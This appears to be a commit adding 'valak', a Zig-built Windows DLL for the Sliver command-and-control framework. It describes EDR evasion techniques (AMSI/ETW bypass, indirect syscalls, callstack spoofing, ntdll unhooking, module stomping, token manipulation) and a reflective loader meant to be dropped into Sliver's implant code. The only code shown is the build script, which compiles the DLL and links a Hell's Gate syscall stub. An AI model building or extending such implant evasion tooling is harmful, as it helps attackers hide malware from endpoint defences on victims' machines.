valak evasion dll for sliver

evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass,
freshycalls indirect syscall dispatch, callstack spoofing via asm
trampoline, ntdll unhooking, module stomping, token manipulation.
all techniques verified against dbgman edr tradecraft (may 2026).
ret patch removed (instant detection). comments updated with
detection status on each technique.

go-bridge/ - reflective pe loader + clean go api for sliver
integration. drop this package into sliver's implant/ dir,
replace time.sleep with evasionsleep.

build: zig build -doptimize=releaseFast -> embed dll bytes

evasion/build.zig

@@ -0,0 +1,34 @@
+const std = @import("std");
+
+pub fn build(b: *std.Build) void {
+    const target = b.standardTargetOptions(.{ .default_target = .{
+        .cpu_arch = .x86_64,
+        .os_tag = .windows,
+        .abi = .gnu,
+    } });
+    const optimize = b.standardOptimizeOption(.{});
+    const strip = optimize != .Debug;
+
+    const module = b.createModule(.{
+        .root_source_file = b.path("main.zig"),
+        .target = target,
+        .optimize = optimize,
+        .strip = strip,
+        .single_threaded = true,
+        .link_libc = true,
+    });
+
+    module.addAssemblyFile(b.path("arch/hells_gate.s"));
+    module.linkSystemLibrary("kernel32", .{});
+    module.linkSystemLibrary("ntdll", .{});
+    module.linkSystemLibrary("advapi32", .{});
+    module.linkSystemLibrary("user32", .{});
+
+    const lib = b.addLibrary(.{
+        .name = "valak",
+        .root_module = module,
+        .linkage = .dynamic,
+    });
+    lib.subsystem = .Windows;
+    b.installArtifact(lib);
+}